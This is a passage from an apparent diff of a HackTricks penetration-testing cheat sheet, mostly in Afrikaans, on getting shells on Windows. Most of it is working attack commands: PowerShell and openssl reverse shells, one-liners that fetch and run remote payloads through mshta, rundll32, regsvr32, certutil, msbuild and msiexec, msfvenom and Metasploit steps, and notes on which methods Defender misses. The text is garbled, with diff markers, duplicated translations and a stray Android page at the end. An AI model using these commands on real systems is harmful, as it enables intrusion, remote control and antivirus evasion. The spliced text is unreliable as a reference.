To use a PHP web shell, follow these steps:
1. Upload the PHP web shell to the compromised server.
2. Access the web shell through a web browser by navigating to the location of the uploaded file.
3. Use the provided interface to execute commands and perform actions on the compromised server.
## Conclusion
Obtaining a shell on a Windows machine is a crucial step in the hacking process. Reverse shells and web shells are effective techniques that allow an attacker to gain remote access and control over a compromised system. It is important to use these techniques responsibly and ethically.
Meterpreter is 'n kragtige rugsteun wat deel vorm van die Metasploit-raamwerk. Dit kan gebruik word vir die uitvoering van verskeie aanvalle op 'n Windows-stelsel, insluitend die verkryging van beheer oor die stelsel, die aflaai van lêers, en die uitvoering van opdragte.
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -268,88 +91,6 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## Powershell
Powershell is 'n kragtige skriptingtaal en uitvoeringsomgewing wat spesifiek ontwerp is vir Windows-bedryfstelsels. Dit bied 'n wyse en doeltreffende manier om administratiewe take te outomatiseer en te outomatiseer. Powershell maak gebruik van 'n objekgeoriënteerde benadering en bied 'n ryk stel ingeboude funksies en modules wat dit 'n kragtige hulpmiddel maak vir Windows-gebaseerde hacking en pentesting.
### Powershell-skote
Powershell-skote is 'n manier om kode uit te voer in die Powershell-omgewing. Dit kan gebruik word om verskeie take uit te voer, soos die uitvoer van opdragte, die manipulasie van lêers en mappe, die skep van nuwe prosesse en nog baie meer. Hier is 'n paar nuttige skote wat in Powershell gebruik kan word:
#### Uitvoer van opdragte
```powershell
$uitvoer = Invoke-Expression -Command "opdrag"
```
#### Lêer- en mapmanipulasie
```powershell
# Lys lêers en mappe in 'n gegewe pad
Get-ChildItem -Path "pad"
# Skep 'n nuwe lêer
New-Item -Path "pad\lêernaam" -ItemType File
# Skep 'n nuwe map
New-Item -Path "pad\mapnaam" -ItemType Directory
# Verwyder 'n lêer
Remove-Item -Path "pad\lêernaam"
# Verwyder 'n map en al sy inhoud
Remove-Item -Path "pad\mapnaam" -Recurse
```
#### Prosesbestuur
```powershell
# Kry 'n lys van aktiewe prosesse
Get-Process
# Skep 'n nuwe proses
Start-Process -FilePath "program.exe"
# Beëindig 'n proses
Stop-Process -Name "prosesnaam"
```
### Powershell-skrips
Powershell-skrips is 'n manier om herhaalbare en outomatiseerbare take in Powershell uit te voer. Dit is 'n stel instruksies wat in 'n lêer geplaas word en dan deur die Powershell-omgewing uitgevoer word. Hier is 'n voorbeeld van 'n eenvoudige Powershell-skrips:
```powershell
# Skakel uitvoering van onbekende skrips toe
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Force
# Voer 'n opdrag uit
Invoke-Expression -Command "opdrag"
# Skep 'n nuwe lêer
New-Item -Path "pad\lêernaam" -ItemType File
```
Om 'n Powershell-skrips uit te voer, kan jy die volgende opdrag in die Powershell-omgewing gebruik:
```powershell
.\skripsnaam.ps1
```
### Powershell-modules
Powershell-modules is 'n manier om funksionaliteit in Powershell uit te brei deur ekstra funksies en hulpmiddels by te voeg. Dit maak dit moontlik om spesifieke funksies en hulpmiddels te gebruik vir verskillende hacking- en pentesting-take. Hier is 'n paar nuttige Powershell-modules wat gebruik kan word:
- **PowerSploit**: 'n Versameling van kragtige en doeltreffende hacking-hulpmiddels en -tegnieke.
- **Empire**: 'n Volledige post-exploitasie-raamwerk wat gebruik kan word vir die uitvoer van verskeie aanvalle en die verkryging van volledige beheer oor 'n Windows-stelsel.
- **Mimikatz**: 'n Hulpmiddel wat gebruik word om vertroulike inligting, soos wagwoorde en aanmeldingsbesonderhede, uit die geheue van 'n Windows-stelsel te onttrek.
- **Nishang**: 'n Skatkis van nuttige skote en skrips wat gebruik kan word vir verskeie hacking- en pentesting-take.
Om 'n Powershell-module te gebruik, moet jy dit eers invoer deur die volgende opdrag in die Powershell-omgewing te gebruik:
```powershell
Import-Module -Name "modulenaam"
```
Nadat die module ingevoer is, kan jy die funksies en hulpmiddels daarvan gebruik deur die gepaste opdragte uit te voer.
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -357,12 +98,12 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Proses wat netwerkoproep uitvoer: **powershell.exe**\
Payload geskryf op skyf: **NEE** (_ten minste nêrens wat ek kon vind deur procmon te gebruik!_)
Lading geskryf op skyf: **NEE** (_ten minste nêrens wat ek kon vind deur procmon te gebruik!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Proses wat netwerkoproep uitvoer: **svchost.exe**\
Payload geskryf op skyf: **WebDAV-kliënt plaaslike kas**
Proses wat 'n netwerkoproep uitvoer: **svchost.exe**\
Lading geskryf op skyf: **WebDAV-klient plaaslike cache**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
@ -370,7 +111,7 @@ $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $c
## Mshta
* [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Van hier af](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
@ -382,7 +123,7 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Voorbeeld van hta-psh omgekeerde skul (gebruik hta om PS agterdeur af te laai en uit te voer)**
#### **Voorbeeld van hta-psh omgekeerde skaal (gebruik hta om PS backdoor af te laai en uit te voer)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
@ -424,39 +165,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</scriptlet>
```
#### **Mshta - Metasploit**
Mshta is a utility in Windows that allows the execution of HTML applications (HTAs). It can be used as a vector for delivering malicious payloads and executing arbitrary code on a target system. In this section, we will explore how to leverage Mshta using Metasploit.
##### **Mshta Payload Generation**
Metasploit provides a module called `windows/multi/script/web_delivery` that can be used to generate a Mshta payload. This module creates an HTA file that contains the payload and delivers it to the target system.
To use this module, follow these steps:
1. Start Metasploit by running `msfconsole` in the terminal.
2. Search for the `windows/multi/script/web_delivery` module using the `search` command.
3. Select the module using the `use` command followed by the module name.
4. Set the required options such as the payload, LHOST, and LPORT using the `set` command.
5. Generate the Mshta payload using the `exploit` command.
##### **Mshta Payload Execution**
Once the Mshta payload is generated, it needs to be executed on the target system. There are several methods to achieve this, including social engineering techniques and exploiting vulnerabilities.
One common method is to host the HTA file on a web server and trick the target into visiting the URL. When the target accesses the URL, the HTA file is downloaded and executed, resulting in the payload being executed on the target system.
Another method is to deliver the HTA file via email or other communication channels. By enticing the target to open the HTA file, the payload can be executed.
##### **Mshta Payload Detection and Prevention**
Detecting and preventing Mshta payloads can be challenging due to their ability to bypass traditional security measures. However, there are some steps that can be taken to mitigate the risk:
- Regularly update and patch the operating system and applications to prevent known vulnerabilities from being exploited.
- Implement strong email filtering and educate users about the risks of opening suspicious attachments.
- Use network monitoring tools to detect and block suspicious traffic.
- Employ endpoint protection solutions that can detect and block malicious activities.
By following these steps, organizations can reduce the risk of Mshta payloads compromising their systems.
```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@ -488,7 +196,7 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http
**Rundll32 - sct**
[**Vanaf hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**Van hier af**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -504,79 +212,12 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</scriptlet>
```
#### **Rundll32 - Metasploit**
Rundll32 is a Windows utility that allows the execution of DLL files. Metasploit is a popular framework used for penetration testing and exploiting vulnerabilities. In this section, we will explore how to use Rundll32 with Metasploit for various hacking purposes.
##### **1. Loading a Meterpreter DLL**
To load a Meterpreter DLL using Rundll32 and Metasploit, follow these steps:
1. Generate a Meterpreter DLL payload using Metasploit.
2. Transfer the generated DLL to the target Windows machine.
3. Open a command prompt on the target machine and navigate to the directory where the DLL is located.
4. Use the following command to execute the DLL:
```
rundll32.exe <DLL_Name>,<Entry_Point>
```
Replace `<DLL_Name>` with the name of the DLL file and `<Entry_Point>` with the entry point function name.
##### **2. Executing Shellcode**
Rundll32 can also be used to execute shellcode on a target machine. To do this, follow these steps:
1. Generate the shellcode using a tool like msfvenom.
2. Convert the shellcode to a DLL using a tool like shellcode2exe.
3. Transfer the generated DLL to the target machine.
4. Open a command prompt on the target machine and navigate to the directory where the DLL is located.
5. Use the following command to execute the DLL:
```
rundll32.exe <DLL_Name>,<Entry_Point>
```
Replace `<DLL_Name>` with the name of the DLL file and `<Entry_Point>` with the entry point function name.
##### **3. Bypassing Application Whitelisting**
Rundll32 can be used to bypass application whitelisting by executing a trusted DLL file. To do this, follow these steps:
1. Identify a trusted DLL file that is allowed by the application whitelisting policy.
2. Rename the malicious DLL to match the name of the trusted DLL.
3. Transfer the malicious DLL to the target machine.
4. Open a command prompt on the target machine and navigate to the directory where the DLL is located.
5. Use the following command to execute the DLL:
```
rundll32.exe <DLL_Name>,<Entry_Point>
```
Replace `<DLL_Name>` with the name of the malicious DLL file and `<Entry_Point>` with the entry point function name.
By leveraging the power of Rundll32 and Metasploit, you can perform various hacking techniques and bypass security measures on Windows machines. However, it is important to note that these techniques should only be used for ethical hacking and with proper authorization.
```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```
**Rundll32 - Koadic**
Rundll32 is a Windows utility that allows the execution of DLL files. Koadic is a post-exploitation tool that uses the Rundll32 utility to load a malicious DLL file and gain control over a compromised system.
To use Koadic, first, you need to generate a malicious DLL file using the Koadic framework. This DLL file contains the payload that will be executed on the target system. Once the DLL file is generated, it can be loaded using the Rundll32 utility.
To load the malicious DLL file, open a command prompt and run the following command:
```
rundll32.exe <path_to_malicious_dll>,<entry_point>
```
Replace `<path_to_malicious_dll>` with the path to the generated DLL file and `<entry_point>` with the entry point function name defined in the DLL file.
Once the DLL file is loaded, the payload will be executed, and you will have control over the compromised system. Koadic provides various post-exploitation modules that can be used to perform actions such as file manipulation, command execution, and privilege escalation.
It is important to note that the use of Rundll32 and Koadic for malicious purposes is illegal and unethical. This information is provided for educational purposes only.
```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
@ -617,48 +258,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</scriptlet>
```
#### **Regsvr32 - Metasploit**
Regsvr32 is a Windows command-line utility used to register and unregister DLL files. However, it can also be used as a technique for executing malicious code on a target system. In this case, we will explore how to use Regsvr32 with Metasploit to gain remote access to a Windows machine.
##### **Step 1: Generate the Payload**
First, we need to generate a payload using Metasploit. This payload will be executed on the target machine when we run the Regsvr32 command. To generate the payload, open a terminal and enter the following command:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f dll > payload.dll
```
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port you want to use for the connection.
##### **Step 2: Set Up the Listener**
Next, we need to set up a listener in Metasploit to receive the connection from the target machine. Open Metasploit by entering `msfconsole` in the terminal. Once Metasploit is open, enter the following command to set up the listener:
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <attacker port>
exploit -j
```
Again, replace `<attacker IP>` and `<attacker port>` with your IP address and the port you specified in Step 1.
##### **Step 3: Execute the Payload**
Now, we are ready to execute the payload on the target machine using the Regsvr32 command. Open a command prompt on the target machine and enter the following command:
```
regsvr32 /s /n /u /i:<payload.dll> scrobj.dll
```
Replace `<payload.dll>` with the path to the payload file generated in Step 1.
Once the command is executed, the payload will be executed on the target machine and a connection will be established with your listener in Metasploit. You will now have remote access to the target machine.
##### **Conclusion**
Using Regsvr32 with Metasploit can be an effective technique for gaining remote access to a Windows machine. However, it is important to note that this technique relies on social engineering or exploiting vulnerabilities to trick the user into executing the command. It is crucial to use this technique responsibly and ethically, and only on systems that you have proper authorization to access.
```bash
use multi/script/web_delivery
set target 3
@ -671,57 +270,35 @@ run
## Certutil
* [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Van hier af](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Laai 'n B64dll af, dekodeer dit en voer dit uit.
Laai 'n B64dll af, ontsluit dit en voer dit uit.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
Laai 'n B64exe af, dekodeer dit en voer dit uit.
Laai 'n B64exe af, ontsluit dit en voer dit uit.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Opgespoor deur verdediger**
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is, sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```
**Cscript - Metasploit**
Metasploit is 'n kragtige raamwerk vir penetrasietoetse en aanvalle. Dit bied 'n verskeidenheid hulpmiddels en modules vir die uitvoer van verskillende aanvalstegnieke. Een van die modules wat in Metasploit beskikbaar is, is die Cscript-module.
Die Cscript-module in Metasploit maak dit moontlik om skadelike kode uit te voer deur gebruik te maak van die Windows Cscript-hulpprogram. Hierdie hulpprogram word gebruik om VBScript- en JScript-lêers uit te voer op Windows-stelsels.
Om die Cscript-module in Metasploit te gebruik, moet jy eers 'n sessie verkry op die teikenstelsel. Jy kan dit doen deur gebruik te maak van 'n ander aanvalstegniek, soos 'n phising-aanval of 'n uitgebuite kwesbaarheid.
As jy 'n sessie het, kan jy die Cscript-module aktiveer deur die `use`-opdrag te gebruik, gevolg deur die `exploit/windows/local/cscript`-opdrag. Hierdie opdrag sal die Cscript-module aktiveer en jou in staat stel om skadelike VBScript- of JScript-lêers uit te voer op die teikenstelsel.
Om 'n skadelike lêer uit te voer, moet jy die `set PAYLOAD`-opdrag gebruik om die tipe skadelike kode te spesifiseer wat jy wil uitvoer. Daarna kan jy die `set SCRIPT`-opdrag gebruik om die pad na die VBScript- of JScript-lêer te spesifiseer wat jy wil uitvoer.
Nadat jy die nodige instellings gemaak het, kan jy die `exploit`-opdrag gebruik om die skadelike kode uit te voer. As alles suksesvol verloop, sal die skadelike kode uitgevoer word op die teikenstelsel en kan jy toegang verkry tot die stelsel of verdere aanvalle uitvoer.
Dit is belangrik om te onthou dat die gebruik van die Cscript-module in Metasploit 'n aanvalstegniek is wat slegs gebruik moet word met toestemming van die eienaar van die stelsel wat getoets word. Misbruik van hierdie tegniek kan wettige gevolge hê.
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Opgevang deur verdediger**
**Opgespoor deur verdediger**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Proses wat netwerkoproep uitvoer: **svchost.exe**\
Payload geskryf op skyf: **WebDAV-kliënt plaaslike kas**
Proses wat 'n netwerkoproep uitvoer: **svchost.exe**\
Laaibestand geskryf op skyf: **WebDAV-klient plaaslike cache**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -730,7 +307,7 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Opgevang deur verdediger**
**Opgespoor deur verdediger**
## **MSIExec**
@ -739,7 +316,7 @@ Aanvaller
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Slagoffer:
**Slachtoffer:**
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@ -747,7 +324,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
## **Wmic**
* [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Van hier af](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
@ -769,11 +346,11 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
## Msbuild
* [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Van hier af](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Jy kan hierdie tegniek gebruik om Toepassing Witlysing en Powershell.exe beperkings te omseil. Jy sal geprompt word met 'n PS-skyf.\
Jy kan hierdie tegniek gebruik om Toepassingswitlysing en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skul gekonfronteer sal word.\
Net aflaai en uitvoer: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -782,31 +359,31 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC**
Kompileer C#-kode in die slagoffer se masjien.
Kompileer C#-kode op die slagoffer se masjien.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Jy kan 'n basiese C# omgekeerde dop vanaf hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Jy kan 'n basiese C# omgekeerde dop van hier af laai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nie opgespoor nie**
## **Regasm/Regsvc**
* [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Van hier af](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
**Ek het dit nog nie probeer nie**
**Ek het dit nie probeer nie**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
## Odbcconf
* [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
**Ek het dit nog nie probeer nie**
**Ek het dit nie probeer nie**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
@ -816,31 +393,31 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
In die **Shells**-map, is daar baie verskillende skulpe. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrip en voeg dit aan die einde van die lêer by:
In die **Skulpe**-vouer is daar baie verskillende skulpe. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skripsie en voeg dit aan die einde van die lêer by:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Begin deur die skripsie in 'n webbediener te bedien en voer dit uit aan die slagoffer se kant:
Begin deur die skrip in 'n webbediener te bedien en voer dit uit aan die slagoffer se kant:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Verdediger beskou dit nie as skadelike kode nie (nog nie, 3/04/2019).
**TODO: Kontroleer ander nishang skulpe**
**TODO: Kontroleer ander nishang doppe**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Laai af, begin 'n webbediener, begin die luisteraar en voer dit uit aan die slagoffer se kant:
Laai af, begin 'n webbediener, begin die luisteraar, en voer dit aan die slagoffer se kant uit:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Verdediger bespeur dit nie as skadelike kode nie (nog nie, 3/04/2019).
Defender ken dit nie as skadelike kode opspoor nie (nog nie, 3/04/2019).
**Ander opsies wat deur powercat aangebied word:**
Bind skulpe, Omgekeerde skulp (TCP, UDP, DNS), Poort omleiding, oplaai/afhaal, Genereer vragte, Bedien lêers...
Bind doppe, Omgekeerde dop (TCP, UDP, DNS), Poort omleiding, oplaai/aflaai, Genereer lading, Bedien lêers...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -861,35 +438,35 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Skep 'n PowerShell-aanroeper, stoor dit in 'n lêer en laai dit af en voer dit uit.
Skep 'n powershell-aanroeper, stoor dit in 'n lêer en laai dit af en voer dit uit.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Opgelet: Hierdie kode word as skadelik beskou**
**Opgespoor as skadelike kode**
### MSF-Unicorn
### MSF-Eenhoorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Skep 'n PowerShell-weergawe van die Metasploit-agterdeur deur gebruik te maak van unicorn.
Skep 'n Powershell weergawe van Metasploit agterdeur deur Eenhoorn te gebruik
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Begin msfconsole met die geskepte bron:
Begin msfconsole met die geskepte hulpbron:
```
msfconsole -r unicorn.rc
```
Begin deur 'n webbediener te begin wat die _powershell\_attack.txt_ lêer bedien en voer dit uit op die slagoffer:
Begin 'n webbediener wat die _powershell\_attack.txt_ lêer bedien en voer in die slagoffer uit:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Opgelet: Hierdie kode is as skadelik geïdentifiseer**
**Opgespoor as skadelike kode**
## Meer
[PS>Aanval](https://github.com/jaredhaight/PSAttack) PS-konsole met 'n paar aanvallende PS-modules vooraf gelaai (gekodeer)\
[PS>Aanval](https://github.com/jaredhaight/PSAttack) PS-konsole met 'n paar aanvallige PS-modules wat vooraf gelaai is (gekodeer)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsole met 'n paar aanvallende PS-modules en proksi-opsporing (IEX)
WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsole met 'n paar aanvallige PS-modules en proksideteksie (IEX)
## Verwysings
@ -901,23 +478,15 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsole met 'n paar aanvall
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -1,128 +1,138 @@
# Android Toepassingsbeginsels
# Android Aansoek Basiese Beginsels
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
